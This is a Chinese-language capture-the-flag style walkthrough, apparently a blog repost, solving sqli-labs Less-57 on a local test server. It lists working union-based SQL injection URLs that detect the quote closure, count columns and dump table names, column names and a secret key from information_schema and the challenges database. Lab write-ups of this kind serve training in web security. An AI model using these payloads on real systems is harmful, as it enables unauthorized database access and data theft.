sqli-labs (less-57)

sqli-labs (less-57)

进入57关,输入id=1

这里我们有14次机会

http://127.0.0.1/sql1/Less-57/?id=1' #页面正常
http://127.0.0.1/sql1/Less-57/?id=1" #页面出错
http://127.0.0.1/sql1/Less-57/?id=1"--+ #页面正常


所以判断闭合方式为"–+,并且为字符型注入

判断字段数

http://127.0.0.1/sql1/Less-57/?id=1" order by 3--+ #回显正常
http://127.0.0.1/sql1/Less-57/?id=1" order by 4--+ #回显错误


判断字段数为3

确定回显位置

http://127.0.0.1/sql1/Less-57/?id=-1" union select 1,2,3--+


查看当前库

http://127.0.0.1/sql1/Less-57/?id=-1" union select 1,2,database()--+


查看challenges库下的所有表

http://127.0.0.1/sql1/Less-57/?id=-1" union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema='challenges')--+


查看ibbbmxmsou字段下的所有值

http://127.0.0.1/sql1/Less-57/?id=-1" union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name='ibbbmxmsou')--+


查看secret_5JP3字段下的值

http://127.0.0.1/sql1/Less-57/?id=-1" union select 1,2,(select group_concat(secret_5JP3) from challenges.ibbbmxmsou)--+


将查询的KEY提交


成功

猜你喜欢

转载自blog.csdn.net/kukudeshuo/article/details/114854656